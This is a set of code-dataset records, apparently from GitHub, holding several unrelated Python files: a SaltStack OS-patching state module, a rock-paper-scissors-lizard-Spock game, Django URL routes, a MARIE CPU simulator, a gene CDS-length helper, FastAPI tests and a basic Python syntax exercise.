('Invalid quarter requested: '+quarter+', must match '\n '[YYYY]Q1 or [YYYY]Q3')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n if not force:\n # Check current patch set\n if not cur_quarter:\n error_msg = ('ni_unix:patch_set grain not found, contact the Unix '\n 'team for help')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n if cur_quarter.upper() == quarter:\n ret['comment'] = 'System is already at patch set '+quarter\n return ret\n # Check pre-patch grain\n pre_patch_grain = 'cache:pre_patch'\n if __salt__['grains.get'](pre_patch_grain) == quarter:\n ret['comment'] = 'Prepatching already done'\n return ret\n # Determine repos to disable\n repolist = __salt__['pillar.get']('ospatch:linux:disable_repos')\n if repolist:\n disable_repos = ','.join(repolist)\n else:\n disable_repos = ''\n # Clear yum cache\n yum_cache_dir = '/var/cache/yum'\n if not __opts__['test']:\n out = __states__['file.absent'](yum_cache_dir)\n # The \"result\" field is a boolean\n if not out['result']:\n error_msg = 'Problem removing '+yum_cache_dir+': '+out['comment']\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['dir removed'] = '/var/cache/yum'\n # Check rootfs space\n rcheck = _rootfs_check()\n if not rcheck['result']:\n ret.update(rcheck)\n return ret\n # Set patching grain\n if not __opts__['test']:\n __salt__['grains.set'](PATCHING_GRAIN, val=int(time.time()),\n force=True)\n # Check kernel-transition package\n kernel_type_grain = 'ni_unix:ospatch:kernel_type'\n if __grains__['os'] == 'OEL':\n kernel_type = __salt__['grains.get'](kernel_type_grain)\n if not kernel_type:\n error_msg = ('Grain '+kernel_type_grain+' not set. Contact the '\n 'Unix team to determine the correct kernel type '\n 'and set this grain. Once that is done, run patching '\n 'again.')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n if kernel_type == 'uek':\n rm_kernel_type = 'kernel'\n if not __opts__['test']:\n # Check rootfs space\n rcheck = _rootfs_check()\n if not rcheck['result']:\n ret.update(rcheck)\n return ret\n # Install kernel-transition package\n out = __states__['pkg.installed']('kernel-transition')\n if not out['result']:\n error_msg = ('Problem installing kernel-transition '\n 'package: '+out['comment'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['package installed'] = 'kernel-transition'\n else:\n rm_kernel_type = 'kernel-uek'\n if not __opts__['test']:\n # Remove kernel-transition package\n out = __states__['pkg.removed']('kernel-transition')\n if not out['result']:\n error_msg = ('Problem removing kernel-transition package: '+\n out['comment'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['package removed'] = 'kernel-transition'\n # Remove invalid kernels\n if not __opts__['test']:\n out = __states__['pkg.removed'](rm_kernel_type)\n if not out['result']:\n error_msg = (out['comment']+' Check that grain '+\n kernel_type_grain+' is correct.')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['kernels removed'] = rm_kernel_type\n # Build new channel string\n channel_os = __salt__['pillar.get']('ospatch:linux:distro_channels:'+\n __grains__['os'])\n if not channel_os:\n error_msg = 'Unsupported distro: '+__grains__['os']\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n new_channel = (channel_os+str(__grains__['osmajorrelease'])+'-'+\n quarter.lower()+'-x86_64')\n # Get spacewalk channels\n list_cmd = '/usr/sbin/spacewalk-channel -l'\n out = __salt__['cmd.run'](list_cmd)\n # Check for unregistered system\n if 'Invalid System Credentials' in out:\n # Try to re-register with current (old) activation key\n key = '1-{}-{}-64-{}'.format(channel_os, __grains__['osmajorrelease'],\n cur_quarter.lower())\n cmd = '/usr/sbin/rhnreg_ks --force --activationkey={}'.format(key)\n out = __salt__['cmd.run'](cmd)\n if 'Error' in out:\n error_msg = 'Problem re-registering system:\\n{}'.format(out)\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n # Try getting spacewalk channels again\n out = __salt__['cmd.run_all'](list_cmd)\n if out['retcode'] != 0:\n tmpl = 'Problem getting current OLM channels:\\n\\n{}\\n\\n{}'\n error_msg = tmpl.format(out['stderr'], out['stdout'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n # Update quarterly channel\n sw_user = __salt__['pillar.get']('ospatch:linux:olm_user')\n sw_pass = __salt__['pillar.get']('ospatch:linux:olm_pass')\n cur_channels = out.splitlines()\n for channel in cur_channels:\n if re.search(Q_REGEX, channel) is None:\n continue\n if channel != new_channel:\n if not __opts__['test']:\n # Remove old channel\n cmd = ('/usr/sbin/spacewalk-channel -r -c '+channel+' -u '+\n sw_user+' -p '+sw_pass)\n out = __salt__['cmd.run_all'](cmd)\n if out['retcode'] != 0:\n error_msg = ('Problem removing OLM channel '+channel+\n ': '+out['stderr'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['channel removed'] = channel\n if new_channel not in cur_channels:\n if not __opts__['test']:\n # Add new channel\n out = __salt__['cmd.run_all']('/usr/sbin/spacewalk-channel -a -c '+\n new_channel+' -u '+sw_user+' -p '+\n sw_pass)\n if out['retcode'] != 0:\n error_msg = ('Problem adding OLM channel '+new_channel+\n ': '+out['stderr'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['channel added'] = new_channel\n # Check rootfs space\n rcheck = _rootfs_check()\n if not rcheck['result']:\n ret.update(rcheck)\n return ret\n # Download packages\n if not __opts__['test']:\n if download:\n out = __states__['pkg.uptodate']('Download packages',\n nogpgcheck=True,\n downloadonly=True,\n disablerepo=disable_repos)\n if not out['result']:\n error_msg = 'Problem downloading packages: '+out['comment']\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n # Set pre-patch grain\n __salt__['grains.set'](pre_patch_grain, val=quarter)\n changedict['pre-patch grain'] = quarter\n changedict['new packages'] = 'downloaded'\n # Test output\n if __opts__['test']:\n comment = []\n comment.append('Would be changed:')\n comment.append(pprint.pformat(changedict))\n ret['comment'] = '\\n'.join(comment)\n else:\n # Remove patching grain\n __salt__['grains.set'](PATCHING_GRAIN, val=None, force=True,\n destructive=True)\n return ret\n\n\ndef patched(name=None, force=False):\n '''\n Ensure the system is patched.\n\n :param str name: Quarterly patching release (e.g. 2018Q3). If None, the\n pillar default will be used (ospatch:quarter).\n :param bool force: If True, attempt patching even if system is already at\n the specified quarterly release. Default is False.\n '''\n changedict = {}\n # Determine quarter\n if name is None:\n quarter = __salt__['pillar.get']('ospatch:quarter')\n else:\n quarter = name.upper()\n # Setup return data\n ret = {'name': quarter,\n 'comment': ''}\n if __opts__['test']:\n ret['changes'] = {}\n ret['result'] = None\n else:\n ret['changes'] = changedict\n ret['result'] = True\n # Check OS version\n os_versions = __salt__['pillar.get']('postinst:linux:supported:versions')\n if __grains__['osmajorrelease'] not in os_versions:\n error_msg = 'Unsupported OS version: '+str(__grains__['osmajorrelease'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n # Check patching grain (epoch seconds)\n patching_grain = __salt__['grains.get'](PATCHING_GRAIN)\n if patching_grain:\n human_time = time.asctime(time.localtime(patching_grain))\n ret['comment'] = 'Patching is in progress, started '+human_time\n ret['result'] = False\n return ret\n # Check for invalid quarter\n if re.match(Q_REGEX, quarter, re.I) is None:\n error_msg = ('Invalid quarter requested: '+quarter+', must match '\n '[YYYY]Q1 or [YYYY]Q3')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n if not force:\n # Check current patch set\n cur_quarter = __salt__['grains.get']('ni_unix:patch_set')\n if not cur_quarter:\n error_msg = ('ni_unix:patch_set grain not found, contact the Unix '\n 'team for help')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n if cur_quarter.upper() == quarter:\n ret['comment'] = 'System is already at patch set: '+quarter\n return ret\n # Patch\n if not __opts__['test']:\n # Determine repos to disable\n repolist = __salt__['pillar.get']('ospatch:linux:disable_repos')\n if repolist:\n disable_repos = ','.join(repolist)\n else:\n disable_repos = ''\n # Set environment variable to bypass typing \"YES\" interactively for the\n # idiotic mssql packages\n __states__['environ.setenv']('ACCEPT_EULA', 'y')\n # Check rootfs space\n rcheck = _rootfs_check()\n if not rcheck['result']:\n ret.update(rcheck)\n return ret\n # Update yum\n out = __states__['pkg.latest']('yum', nogpgcheck=True)\n if not out['result']:\n error_msg = 'Problem upgrading yum: '+out['comment']\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n changedict['yum updated'] = True\n # Check rootfs space\n rcheck = _rootfs_check()\n if not rcheck['result']:\n ret.update(rcheck)\n return ret\n # Set patching grain (epoch seconds)\n __salt__['grains.set'](PATCHING_GRAIN, val=int(time.time()),\n force=True)\n # Do package updates\n out = __states__['pkg.uptodate']('Upgrade packages',\n nogpgcheck=True,\n disablerepo=disable_repos)\n if not out['result']:\n error_msg = 'Problem upgrading packages: '+out['comment']\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n if 'up-to-date' in out['comment']:\n ret['comment'] = 'No package updates available'\n else:\n changedict['Packages updated'] = True\n # Set patch grains\n __salt__['grains.set']('ni_unix:patch_set', val=quarter, force=True)\n changedict['Grain ni_unix:patch_set updated'] = quarter\n # patch_time is a timestamp in UTC\n tstamp = time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())\n __salt__['grains.set']('ni_unix:patch_time', val=tstamp, force=True)\n changedict['Grain ni_unix:patch_time updated'] = tstamp\n # Test output\n if __opts__['test']:\n comment = []\n comment.append('Would be changed:')\n comment.append(pprint.pformat(changedict))\n ret['comment'] = '\\n'.join(comment)\n else:\n # Remove patching grain\n __salt__['grains.set'](PATCHING_GRAIN, val=None, force=True,\n destructive=True)\n return ret\n","repo_name":"clallen/salt-modules","sub_path":"_states/ospatch_linux.py","file_name":"ospatch_linux.py","file_ext":"py","file_size_in_byte":17175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8518134585","text":"\"\"\"\r\nRock-paper-scissors-lizard-Spock Game between computer and player\r\n\"\"\"\r\n\r\nimport random\r\n\r\n\r\n# The key idea of this program is to equate the strings\r\n# \"rock\", \"paper\", \"scissors\", \"lizard\", \"Spock\" to numbers\r\n# as follows:\r\n#\r\n# 0 - rock\r\n# 1 - Spock\r\n# 2 - paper\r\n# 3 - lizard\r\n# 4 - scissors\r\n\r\n# helper functions\r\n\r\ndef name_to_number(name):\r\n \"\"\"\r\n Given string name, return integer 0, 1, 2, 3, or 4\r\n corresponding to numbering in video\r\n \"\"\"\r\n\r\n if name == 'rock':\r\n return 0\r\n elif name == 'Spock':\r\n return 1\r\n elif name == 'paper':\r\n return 2\r\n elif name == 'lizard':\r\n return 3\r\n if name == 'scissors':\r\n return 4\r\n else:\r\n print('Wrong name')\r\n\r\n\r\ndef number_to_name(number):\r\n \"\"\"\r\n Given integer number (0, 1, 2, 3, or 4)\r\n return corresponding name strings\r\n \"\"\"\r\n\r\n if number == 0:\r\n return 'rock'\r\n elif number == 1:\r\n return 'Spock'\r\n elif number == 2:\r\n return 'paper'\r\n elif number == 3:\r\n return 'lizard'\r\n elif number == 4:\r\n return 'scissors'\r\n else:\r\n print('Wrong Number')\r\n pass\r\n\r\n\r\ndef rpsls(player_choice):\r\n \"\"\"\r\n Given string player_choice, play a game of RPSLS\r\n and print results to console\r\n \"\"\"\r\n\r\n print('====================================')\r\n\r\n print('Player chooses ' + player_choice)\r\n\r\n player_number = name_to_number(player_choice)\r\n\r\n comp_number = random.randrange(0, 5)\r\n\r\n comp_choice = number_to_name(comp_number)\r\n\r\n print('Computer chooses ' + comp_choice)\r\n\r\n difference = (player_number - comp_number) % 5\r\n\r\n if difference == 1 or difference == 2:\r\n print('Player Wins')\r\n elif difference == 3 or difference == 4:\r\n print('Computer Wins')\r\n else:\r\n print(\"Player and Computer tie!\")\r\n\r\n\r\n# test your code\r\nrpsls(\"scissors\")\r\nrpsls(\"lizard\")\r\nrpsls(\"paper\")\r\nrpsls(\"Spock\")\r\nrpsls(\"rock\")\r\n\r\n\r\n","repo_name":"jayabdulraman/Rock-Paper-Scissors-Lizard-Spock-game","sub_path":"RPSLS_Game.py","file_name":"RPSLS_Game.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"38342716120","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('login/', views.toLoginPage, name='toLoginPage'),\n path('POSTlogin/', views.loginParameterChecker, name='loginParameterChecker'),\n path('logout/', views.logout, name='logout'),\n path('courses/', views.userCourse, name='userCourse'),\n path('/course/', views.courseDetail, name='courseDetail'),\n path('/course//contest/', views.contestDetail, name='contestDetail'),\n path('/course//contest//problem/', views.problemDetail,\n name='problemDetail'),\n path('submit//contest//problem/', views.submit, name='submit'),\n path('/status/', views.contestProblemStatus, name='contestProblemStatus'),\n\n]\n","repo_name":"sumover/SDUSTOJ","sub_path":"OnlineJudge/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14977653276","text":"__author__ = 'Mitchell Powell'\n\nfrom ClassFile import *\n\ndef Boot():\n## Instantiates registers and assigns some run control variables\n global Mem\n global Clock\n global IR\n global PC\n global MAR\n global MBR\n global AC\n global Run\n global Overflow\n global InReg\n global OutReg\n Mem = []\n for x in range(4096):\n Mem.append(Register(hex(x)[2:], 16, 0x0000))\n IR = Register('IR', 16, 0x0000)\n PC = Register('PC', 12, 0x000)\n MAR = Register('MAR', 12, 0x000)\n MBR = Register('MBR', 16, 0x0000)\n AC = Register('AC', 16, 0x0000)\n InReg = Register('InReg', 8, 0x00)\n OutReg = Register('OutReg',8,0x00)\n Clock = 0\n Run = 1\n Overflow = 0\n\ndef Initiate(input):\n x = open(input)\n PC.load(int(x.readline().split()[0],16))\n#Read second line for number of iterations\n words = int(x.readline().split()[0])\n global RecentMod\n RecentMod = []\n global PCcount\n PCcount = 0\n\n#Assign Values to memory cells based on input\n for i in range(words):\n Line = x.readline().split()\n value = int(Line[0],16)\n Mem[value].load(int(Line[1],16))\n RecentMod.append(int(Mem[value].name,16))\n WriteStatus()\n x.close()\n\ndef Status(MemAddress = None):\n## Logs the status of the registers to the console\n print('\\n{:10} {}'.format(\"Register\",\"Contents\"))\n print('\\n{:6}{:20} {} \\n'.format('',\"Bin\",\"Hex\"))\n print('{:10} {:15} {}'.format(PC.name,PC.binDisplay(),PC.hexDisplay()))\n print('{:10} {:17} {}'.format(MAR.name,MAR.binDisplay(),MAR.hexDisplay()))\n print('{:5} {:20} {}'.format(IR.name,IR.binDisplay(),IR.hexDisplay()))\n if MemAddress != None:\n print('\\nMem: \\n')\n print('{:6}{:20}{}\\n'.format('',\"Bin\",\"Hex\"))\n for item in MemAddress:\n print('{:10} {:15} {}'.format(Mem[item].name, Mem[item].binDisplay(), Mem[item].hexDisplay()))\n\ndef WriteStatus():\n## Logs the status of the registers to a text file\n global RecentMod\n a = './StatusRecord'\n x = open(a,'a')\n if Clock == 0:\n x.write('\\nMitchell Powell\\n')\n x.write('\\nO Flag: '+str(Overflow)+'\\n')\n x.write('\\nR Flag: '+str(Run)+'\\n')\n x.write('\\nClock Cycle: '+str(Clock)+'\\n')\n #x.write('\\n{:10} {}\\n'.format(\"Register\",\"Contents\"))\n x.write('\\n{:6}{:20} {} \\n'.format('',\"Bin\",\"Hex\"))\n x.write('\\n{:15} {:12} {}\\n'.format(InReg.name,InReg.binDisplay(),InReg.hexDisplay()))\n x.write('{:15} {:12} {}\\n'.format(OutReg.name,OutReg.binDisplay(),OutReg.hexDisplay()))\n x.write('{:10} {:16} {}\\n'.format(PC.name,PC.binDisplay(),PC.hexDisplay()))\n x.write('{:10} {:16} {}\\n'.format(MAR.name,MAR.binDisplay(),MAR.hexDisplay()))\n x.write('{:5} {:20} {}\\n'.format(IR.name,IR.binDisplay(),IR.hexDisplay()))\n x.write('{:5} {:20} {}\\n'.format(AC.name,AC.binDisplay(),AC.hexDisplay()))\n x.write('{:5} {:20} {}\\n'.format(MBR.name,MBR.binDisplay(),MBR.hexDisplay()))\n x.write('\\n{} Instruction'.format(DecodeName(IR.hexDisplay()[0])))\n x.write('\\nMem: \\n')\n if RecentMod != []:\n x.write('\\n{:6}{:20}{}\\n\\n'.format('',\"Bin\",\"Hex\"))\n for item in RecentMod:\n x.write('{:5} {:20} {}\\n'.format(Mem[item].name, Mem[item].binDisplay(), Mem[item].hexDisplay()))\n else:\n x.write('\\nNone Modified Since Last Write Out \\n \\n')\n x.write('...............................................')\n RecentMod = []\n\ndef Fetch():\n## Loads PC to MAR and M[MAR] to IR, then increments PC\n global Clock\n MAR.load(PC.contents)\n IR.load(Mem[MAR.contents].contents)\n PC.contents += 1\n Clock += 2\n\ndef Decode():\n global Clock\n Clock += 1\n MAR.load(int(IR.hexDisplay()[1:],16))\n if IR.hexDisplay()[0] == '0':\n JNS()\n elif IR.hexDisplay()[0] == '1':\n Load()\n return \"Load\"\n elif IR.hexDisplay()[0] == '2':\n Store()\n return('Store')\n elif IR.hexDisplay()[0] == '3':\n Add()\n return('Add')\n elif IR.hexDisplay()[0] == '4':\n Subtract()\n return('Subtract')\n elif IR.hexDisplay()[0] == '5':\n Input()\n return('Input')\n elif IR.hexDisplay()[0] == '6':\n Output()\n return('Output')\n elif IR.hexDisplay()[0] == '7':\n Halt()\n return('Halt')\n elif IR.hexDisplay()[0] == '8':\n SkipCond()\n return('SkipCond')\n elif IR.hexDisplay()[0] == '9':\n Jump()\n return('Jump')\n elif IR.hexDisplay()[0] == 'A':\n Clear()\n return('Clear')\n elif IR.hexDisplay()[0] == 'B':\n AddI()\n return('AddI')\n elif IR.hexDisplay()[0] == 'C':\n JumpI()\n return('JumpI')\n elif IR.hexDisplay()[0] == 'D':\n LoadI()\n return(\"LoadI\")\n elif IR.hexDisplay()[0] == \"E\":\n StoreI()\n return('StoreI')\n elif IR.hexDisplay()[0] == \"F\":\n return None\ndef DecodeName(x):\n if x == '0':\n Name = 'JNS'\n elif x == '1':\n Name = 'Load'\n elif x == '2':\n Name = 'Store'\n elif x == '3':\n Name = 'Add'\n elif x == '4':\n Name = \"Subtract\"\n elif x == '5':\n Name = 'Input'\n elif x == '6':\n Name = 'Output'\n elif x == '7':\n Name = 'Halt'\n elif x == '8':\n Name = 'SkipCond'\n elif x == '9':\n Name = 'Jump X'\n elif x == 'A':\n Name = 'Clear'\n elif x == 'B':\n Name = 'Add (Indirect)'\n elif x == 'C':\n Name = 'Jump (Indirect)'\n elif x == 'D':\n Name = 'Load (Indirect)'\n elif x == 'E':\n Name = 'Store (Indirect)'\n else:\n Name = None\n return Name\n\ndef Add():\n global MBR\n global AC\n global Clock\n global Overflow\n MBR.load(Mem[MAR.contents].contents)\n AC.contents += MBR.contents\n if len(AC.hexDisplay()) > 4:\n Overflow = 1\n AC.contents = int(AC.hexDisplay()[1:],16)\n Clock +=2\ndef AddI():\n global Clock\n global Overflow\n global AC\n MAR.load(int(Mem[MAR.contents].hexDisplay()[1:],16))\n MBR.load(Mem[MAR.contents].contents)\n AC.contents += MBR.contents\n if AC.contents > 0xFFFF:\n Overflow = 1\n AC.load(int(AC.hexDisplay()[1:],16))\n Clock += 3\ndef Clear():\n global Clock\n global Overflow\n AC.dump()\n Clock += 1\n Overflow = 0\ndef Halt():\n global Run\n global Clock\n Run = 0\n Clock += 1\ndef Input():\n global Clock\n AC.load(InReg.contents)\n Clock += 1\ndef JNS():\n global MAR\n global Clock\n MBR.load(PC.contents)\n Mem[MAR.contents].load(MBR.contents)\n RecentMod.append(int(Mem[MAR.contents].name,16))\n MAR.contents += 1\n PC.load(MAR.contents)\n Clock += 3\ndef Jump():\n global Clock\n PC.load(int(IR.hexDisplay()[1:],16))\n Clock+= 1\ndef JumpI():\n global Clock\n PC.load(int(Mem[MAR.contents].hexDisplay()[1:],16))\n Clock += 1\ndef Load():\n global MBR\n global AC\n global Clock\n MBR.load(Mem[MAR.contents].contents)\n AC.load(MBR.contents)\n Clock +=2\ndef LoadI():\n global Clock\n MAR.load(int(Mem[MAR.contents].hexDisplay()[1:],16))\n MBR.load(Mem[MAR.contents].contents)\n AC.load(MBR.contents)\n Clock += 3\ndef Output():\n global Clock\n OutReg.load(AC.contents)\n Clock += 1\ndef SkipCond():\n global Clock\n if int(IR.hexDisplay()[1:2],16) == 0 and AC.contents < 0:\n PC.contents+=1\n elif int(IR.hexDisplay()[1:2],16) == 4 and AC.contents == 0 and Overflow != 1:\n PC.contents +=1\n elif int(IR.hexDisplay()[1:2],16) == 12 and AC.contents > 0:\n PC.contents += 1\n Clock += 1\n\ndef Store():\n global Clock\n global MBR\n global Mem\n MBR.load(AC.contents)\n Mem[MAR.contents].load(MBR.contents)\n RecentMod.append(int(Mem[MAR.contents].name,16))\n Clock +=2\ndef StoreI():\n global Clock\n MAR.load(int(Mem[MAR.contents].hexDisplay()[1:],16))\n MBR.load(AC.contents)\n Mem[MAR.contents].load(MBR.contents)\n RecentMod.append(int(Mem[MAR.contents].name,16))\n Clock += 3\ndef Subtract():\n global Clock\n global Overflow\n MBR.load(Mem[MAR.contents].contents)\n AC.load(AC.contents-MBR.contents)\n if AC.contents < 0:\n AC.contents = abs(AC.contents)\n Overflow = 1\n Clock += 2\n\n\n\ndef Main():\n## Main Program Loop\n Boot()\n Initiate('./Fibonnacci')\n while Run == 1:\n Fetch()\n Decode()\n WriteStatus()\nMain()\n","repo_name":"mitchpowell1/MARIE_implementation","sub_path":"Computer.py","file_name":"Computer.py","file_ext":"py","file_size_in_byte":8311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36321638506","text":"\r\n#Define the function: sum_exon_final\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\"\"\"\r\nCalculate total CDS length of one gene\r\n\"\"\"\r\n\r\ndef sum_exon(cds_locations):\r\n cds_locations = cds_locations.strip(\"[\").strip(\"]\").split(\", \")\r\n Lcds = sum([np.diff(list(map(int,cds_locations[i].split(\"-\"))))[0]+1 for i in range(len(cds_locations))])\r\n return(Lcds)\r\n\r\n\r\n\r\n\"\"\"\r\nCalculate total CDS length of all genes\r\n\"\"\"\r\n\r\ndef sum_exon_final(cds):\r\n cds_len = list(map(sum_exon,cds.cds_locations)) \r\n total_cds_len = sum(cds_len)\r\n print(\"Total length of human CDS is: \",total_cds_len)\r\n return(total_cds_len)\r\n","repo_name":"Cindy-Chengd/Chengdan_Python_Project","sub_path":"Test/cal_sum_exon.py","file_name":"cal_sum_exon.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7944677863","text":"# coding: utf-8\n\nfrom fastapi.testclient import TestClient\n\n\nfrom openapi_server.models.error import Error # noqa: F401\nfrom openapi_server.models.service import Service # noqa: F401\nfrom openapi_server.models.service_create import ServiceCreate # noqa: F401\nfrom openapi_server.models.service_update import ServiceUpdate # noqa: F401\n\n\ndef test_create_service(client: TestClient):\n \"\"\"Test case for create_service\n\n Creates a Service\n \"\"\"\n service = openapi_server.ServiceCreate()\n\n headers = {\n }\n response = client.request(\n \"POST\",\n \"/service\",\n headers=headers,\n json=service,\n )\n\n # uncomment below to assert the status code of the HTTP response\n #assert response.status_code == 200\n\n\ndef test_delete_service(client: TestClient):\n \"\"\"Test case for delete_service\n\n Deletes a Service\n \"\"\"\n\n headers = {\n }\n response = client.request(\n \"DELETE\",\n \"/service/{id}\".format(id='id_example'),\n headers=headers,\n )\n\n # uncomment below to assert the status code of the HTTP response\n #assert response.status_code == 200\n\n\ndef test_list_service(client: TestClient):\n \"\"\"Test case for list_service\n\n List or find Service objects\n \"\"\"\n params = [(\"fields\", 'fields_example'), (\"offset\", 56), (\"limit\", 56)]\n headers = {\n }\n response = client.request(\n \"GET\",\n \"/service\",\n headers=headers,\n params=params,\n )\n\n # uncomment below to assert the status code of the HTTP response\n #assert response.status_code == 200\n\n\ndef test_patch_service(client: TestClient):\n \"\"\"Test case for patch_service\n\n Updates partially a Service\n \"\"\"\n service = openapi_server.ServiceUpdate()\n\n headers = {\n }\n response = client.request(\n \"PATCH\",\n \"/service/{id}\".format(id='id_example'),\n headers=headers,\n json=service,\n )\n\n # uncomment below to assert the status code of the HTTP response\n #assert response.status_code == 200\n\n\ndef test_retrieve_service(client: TestClient):\n \"\"\"Test case for retrieve_service\n\n Retrieves a Service by ID\n \"\"\"\n params = [(\"fields\", 'fields_example')]\n headers = {\n }\n response = client.request(\n \"GET\",\n \"/service/{id}\".format(id='id_example'),\n headers=headers,\n params=params,\n )\n\n # uncomment below to assert the status code of the HTTP response\n #assert response.status_code == 200\n\n","repo_name":"papajohn-uop/ENRICH","sub_path":"tests/test_service_api.py","file_name":"test_service_api.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26513094026","text":"# print current time\n\nimport time\nimport random\n\n# hello world\nprint(\"Hello World! \" + time.strftime(\"%H:%M:%S\", time.localtime()))\n\n# variables\nv1, v2, v3 = 1, 2, 3\nassert v1 == 1 and v2 == 2 and v3 == 3\n\n# constants\nw1 = w2 = w3 = 4\nassert w1 == w2 == w3 == 4\n\n# swapping variables\nv1, v2 = v2, v1\nassert v1 == 2 and v2 == 1\n\n# math\nassert 10 % 3 == 1\nassert 10 / 3 == 3.3333333333333335\nassert 10 // 3 == 3\n\n# rize to power\nassert 2 ** 3 == 8\n\n# strings\nstringVar = \"Hello World!\"\nprint(stringVar)\n\nmultiLineString = \"\"\"\\\nThis is a multi-line string\nvalue. See how it works? We can even put \\\"quotes\\\" in it.\nSo cool!\"\"\"\nprint(multiLineString)\n\n# lists\nlistVar = [5, 6, 7, 8, 9]\nassert listVar[0] == 5 and listVar[1] == 6 and listVar[2] == 7 and listVar[3] == 8 and listVar[4] == 9\n\n# slicing sequences\nassert listVar[1:3] == [6, 7]\nassert listVar[1:] == [6, 7, 8, 9]\nassert listVar[:3] == [5, 6, 7]\n\n# last two elements\nassert listVar[-2:] == [8, 9]\n\n# every other element\nassert listVar[::2] == [5, 7, 9]\n\n# reverse list\nassert listVar[::-1] == [9, 8, 7, 6, 5]\n\n# replace second and trird element\nlistVar[1:3] = [10, 11]\nassert listVar == [5, 10, 11, 8, 9]\n\n# delete second and third element\ndel listVar[1:3]\nassert listVar == [5, 8, 9]\n\n# syntax sugar: list comprehension\nmodifiedListVal = [x // 2 for x in listVar]\nassert modifiedListVal == [2, 4, 4]\nprint(sorted(modifiedListVal))\n\n# dictionaries\ndictVar = {\"key1\": \"value1\", \"key2\": \"value2\"}\nassert dictVar[\"key1\"] == \"value1\" and dictVar[\"key2\"] == \"value2\"\nfor key, value in dictVar.items():\n print(f\"{key} = {value}\")\n\n# tuples\ntupleVar = (1, 2, 3)\nassert tupleVar[0] == 1 and tupleVar[1] == 2 and tupleVar[2] == 3\n\ntry:\n tupleVar[0] = 4\nexcept TypeError:\n print(\"Tuples are immutable!\")\n\n# sets\nsetVar = {1, 2, 3, 4, 5}\nsetVar.add(5)\nassert setVar == {1, 2, 3, 4, 5}\nassert 3 in setVar\nassert 6 not in setVar\n\n\n# functions with parameters\ndef my_function(msg):\n print(my_function.__name__)\n if msg == \"\":\n raise ValueError(\"msg cannot be empty!\")\n print(msg)\n\n\n# functions with default parameters\ndef divide(divisor, dividend=94):\n return dividend // divisor\n\n\nassert divide(12) == 7\nassert divide(12, 94) == 7\nassert divide(dividend=94, divisor=12) == 7\nassert divide(divisor=12) == 7\n\n\n# function return lambda\ndef make_adder(augend):\n def add(addend):\n return addend+augend\n return add\n\n\nadd5 = make_adder(5)\nadd9 = make_adder(9)\n\nassert add5(100) == 105\nassert add9(100) == 109\n\n\n# function return lambda with state\ndef make_counter():\n count = 0\n def counter():\n nonlocal count\n count += 1\n return count\n return counter\n\n\nc1 = make_counter()\nc2 = make_counter()\nassert [c1(), c1(), c1()] == [1, 2, 3]\nassert [c2(), c2()] == [1, 2]\nassert [c1(), c2(), c1()] == [4, 3, 5]\n\n# if statements\nif random.randint(0, 10) < 5:\n print(\"less than 5\")\n\n# for loops\nprev = -1\nfor i in range(0, 10):\n prev += 1\n assert i == prev\n\n# while loops\ni = 0\nwhile i < 3:\n assert i < 3\n i += 1\n\n# try/except\ntry:\n my_function(\"\")\n # catch any error and print it\nexcept Exception as e:\n print(e)\nfinally:\n print(\"finally\")\n\n# null value sample\nnullVar = None # null value\nassert nullVar is None # check if null\n\nmyNum = random.randint(0, 6)\nif myNum > 3:\n print(\"Greater than 3\")\nelif myNum == 3:\n print(\"Equal to 3\")\nelse:\n print(\"Less than 3\")\n\n# format strings\nfor letter in 'ciao':\n print(f\"give me a {letter}...\")\n","repo_name":"bondarenko-yura/study-python","sub_path":"BasicSyntax.py","file_name":"BasicSyntax.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71390845707","text":"import sys\nimport os\nimport curses\nimport subprocess\nfrom typing import Any, Dict\nfrom typing import Dict\nfrom aorc.state import AorcState\nfrom aorc.aorc_doit import *\nfrom simple_curses import *\nimport simple_curses.validator as validator\n\n\ndef state_from_view_values(old_state: AorcState, view_values: Dict[str, Any]) -> AorcState:\n new_state = old_state.copy()\n vals = view_values\n 